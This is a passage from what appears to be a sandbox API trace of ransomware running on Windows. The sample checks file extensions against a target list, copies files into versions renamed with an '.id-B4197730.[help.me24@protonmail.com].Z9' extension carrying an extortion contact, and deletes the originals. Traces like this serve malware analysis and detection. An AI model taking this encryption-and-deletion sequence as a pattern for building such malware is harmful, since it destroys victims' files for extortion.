	[0091.111] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".docx") returned 5
	[0091.111] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0091.111] lstrlenW (lpString=".pdf") returned 4
	[0091.111] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".xls") returned 4
	[0091.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".xlsx") returned 5
	[0091.111] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0091.111] lstrlenW (lpString=".ppt") returned 4
	[0091.112] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.112] lstrlenW (lpString=".zip") returned 4
	[0091.112] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.112] lstrlenW (lpString=".rar") returned 4
	[0091.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.112] lstrlenW (lpString=".bz2") returned 4
	[0091.112] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.112] lstrlenW (lpString=".7z") returned 3
	[0091.112] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.112] lstrlenW (lpString=".dbf") returned 4
	[0091.112] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.112] lstrlenW (lpString=".1cd") returned 4
	[0091.112] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.112] lstrlenW (lpString=".jpg") returned 4
	[0091.112] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.112] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.112] lstrlenW (lpString="vstoee100.tlb") returned 13
	[0091.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.921] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17048) returned 1
	[0091.921] CloseHandle (hObject=0x398) returned 1
	[0091.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20
	[0091.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.939] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.940] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.940] GetLastError () returned 0x0
	[0091.940] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4298, lpOverlapped=0x0) returned 1
	[0091.942] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0091.943] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.943] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xee, lpOverlapped=0x0) returned 1
	[0091.943] SetEndOfFile (hFile=0x38c) returned 1
	[0091.944] CloseHandle (hObject=0x38c) returned 1
	[0091.944] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.944] SetEndOfFile (hFile=0x388) returned 1
	[0091.945] CloseHandle (hObject=0x388) returned 1
	[0091.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1
	[0091.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.945] lstrlenW (lpString=".doc") returned 4
	[0091.945] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.945] lstrlenW (lpString=".docx") returned 5
	[0091.946] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.946] lstrlenW (lpString=".pdf") returned 4
	[0091.946] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString=".xls") returned 4
	[0091.946] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.946] lstrlenW (lpString=".xlsx") returned 5
	[0091.946] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.946] lstrlenW (lpString=".ppt") returned 4
	[0091.946] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString=".zip") returned 4
	[0091.946] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.946] lstrlenW (lpString=".rar") returned 4
	[0091.946] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString=".bz2") returned 4
	[0091.946] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString=".7z") returned 3
	[0091.946] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString=".dbf") returned 4
	[0091.946] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString=".1cd") returned 4
	[0091.946] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString=".jpg") returned 4
	[0091.946] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.946] lstrlenW (lpString=".doc") returned 4
	[0091.946] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString=".docx") returned 5
	[0091.946] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.946] lstrlenW (lpString=".pdf") returned 4
	[0091.946] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.946] lstrlenW (lpString=".xls") returned 4
	[0091.947] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.947] lstrlenW (lpString=".xlsx") returned 5
	[0091.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.947] lstrlenW (lpString=".ppt") returned 4
	[0091.947] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.947] lstrlenW (lpString=".zip") returned 4
	[0091.947] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.947] lstrlenW (lpString=".rar") returned 4
	[0091.947] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.947] lstrlenW (lpString=".bz2") returned 4
	[0091.947] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.947] lstrlenW (lpString=".7z") returned 3
	[0091.947] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.947] lstrlenW (lpString=".dbf") returned 4
	[0091.947] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.947] lstrlenW (lpString=".1cd") returned 4
	[0091.947] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0091.947] lstrlenW (lpString=".jpg") returned 4
	[0091.947] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.947] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.947] lstrlenW (lpString="msado15.dll") returned 11
	[0091.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.948] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1233920) returned 1
	[0091.948] CloseHandle (hObject=0x38c) returned 1
	[0091.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0091.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0091.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0091.999] lstrlenW (lpString=".doc") returned 4
	[0091.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.999] lstrlenW (lpString=".docx") returned 5
	[0091.999] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0091.999] lstrlenW (lpString=".pdf") returned 4
	[0091.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.999] lstrlenW (lpString=".xls") returned 4
	[0091.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.999] lstrlenW (lpString=".xlsx") returned 5
	[0091.999] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0091.999] lstrlenW (lpString=".ppt") returned 4
	[0092.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".zip") returned 4
	[0092.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString=".rar") returned 4
	[0092.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString=".bz2") returned 4
	[0092.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.000] lstrlenW (lpString=".7z") returned 3
	[0092.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".dbf") returned 4
	[0092.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".1cd") returned 4
	[0092.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".jpg") returned 4
	[0092.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".doc") returned 4
	[0092.000] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString=".docx") returned 5
	[0092.000] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0092.000] lstrlenW (lpString=".pdf") returned 4
	[0092.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString=".xls") returned 4
	[0092.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString=".xlsx") returned 5
	[0092.000] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0092.000] lstrlenW (lpString=".ppt") returned 4
	[0092.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.000] lstrlenW (lpString=".zip") returned 4
	[0092.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.001] lstrlenW (lpString=".rar") returned 4
	[0092.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.001] lstrlenW (lpString=".bz2") returned 4
	[0092.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.001] lstrlenW (lpString=".7z") returned 3
	[0092.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.001] lstrlenW (lpString=".dbf") returned 4
	[0092.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.001] lstrlenW (lpString=".1cd") returned 4
	[0092.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0092.001] lstrlenW (lpString=".jpg") returned 4
	[0092.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.001] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0092.001] lstrlenW (lpString="msador28.tlb") returned 12
	[0092.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.003] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=35840) returned 1
	[0092.003] CloseHandle (hObject=0x300) returned 1
	[0092.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20
	[0092.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.003] lstrlenW (lpString=".doc") returned 4
	[0092.003] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0092.003] lstrlenW (lpString=".docx") returned 5
	[0092.003] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0092.003] lstrlenW (lpString=".pdf") returned 4
	[0092.003] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0092.003] lstrlenW (lpString=".xls") returned 4
	[0092.003] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0092.003] lstrlenW (lpString=".xlsx") returned 5
	[0092.003] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0092.003] lstrlenW (lpString=".ppt") returned 4
	[0092.003] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0092.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.003] lstrlenW (lpString=".zip") returned 4
	[0092.003] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0092.003] lstrlenW (lpString=".rar") returned 4
	[0092.003] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0092.003] lstrlenW (lpString=".bz2") returned 4
	[0092.003] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0092.003] lstrlenW (lpString=".7z") returned 3
	[0092.004] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".dbf") returned 4
	[0092.004] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".1cd") returned 4
	[0092.004] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".jpg") returned 4
	[0092.004] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".doc") returned 4
	[0092.004] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString=".docx") returned 5
	[0092.004] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0092.004] lstrlenW (lpString=".pdf") returned 4
	[0092.004] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString=".xls") returned 4
	[0092.004] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0092.004] lstrlenW (lpString=".xlsx") returned 5
	[0092.004] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0092.004] lstrlenW (lpString=".ppt") returned 4
	[0092.004] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".zip") returned 4
	[0092.004] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0092.004] lstrlenW (lpString=".rar") returned 4
	[0092.004] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString=".bz2") returned 4
	[0092.004] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0092.004] lstrlenW (lpString=".7z") returned 3
	[0092.004] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0092.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.004] lstrlenW (lpString=".dbf") returned 4
	[0092.005] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0092.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.005] lstrlenW (lpString=".1cd") returned 4
	[0092.005] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0092.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0092.005] lstrlenW (lpString=".jpg") returned 4
	[0092.005] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0092.005] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.005] lstrlenW (lpString="msadox.dll") returned 10
	[0092.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.007] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=404992) returned 1
	[0092.007] CloseHandle (hObject=0x300) returned 1
	[0092.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20
	[0092.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.008] lstrlenW (lpString=".doc") returned 4
	[0092.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString=".docx") returned 5
	[0092.008] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0092.008] lstrlenW (lpString=".pdf") returned 4
	[0092.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString=".xls") returned 4
	[0092.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString=".xlsx") returned 5
	[0092.008] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0092.008] lstrlenW (lpString=".ppt") returned 4
	[0092.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.008] lstrlenW (lpString=".zip") returned 4
	[0092.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString=".rar") returned 4
	[0092.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.008] lstrlenW (lpString=".bz2") returned 4
	[0092.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.008] lstrlenW (lpString=".7z") returned 3
	[0092.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.008] lstrlenW (lpString=".dbf") returned 4
	[0092.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".1cd") returned 4
	[0092.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".jpg") returned 4
	[0092.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".doc") returned 4
	[0092.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString=".docx") returned 5
	[0092.009] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0092.009] lstrlenW (lpString=".pdf") returned 4
	[0092.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString=".xls") returned 4
	[0092.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString=".xlsx") returned 5
	[0092.009] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0092.009] lstrlenW (lpString=".ppt") returned 4
	[0092.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".zip") returned 4
	[0092.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString=".rar") returned 4
	[0092.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.009] lstrlenW (lpString=".bz2") returned 4
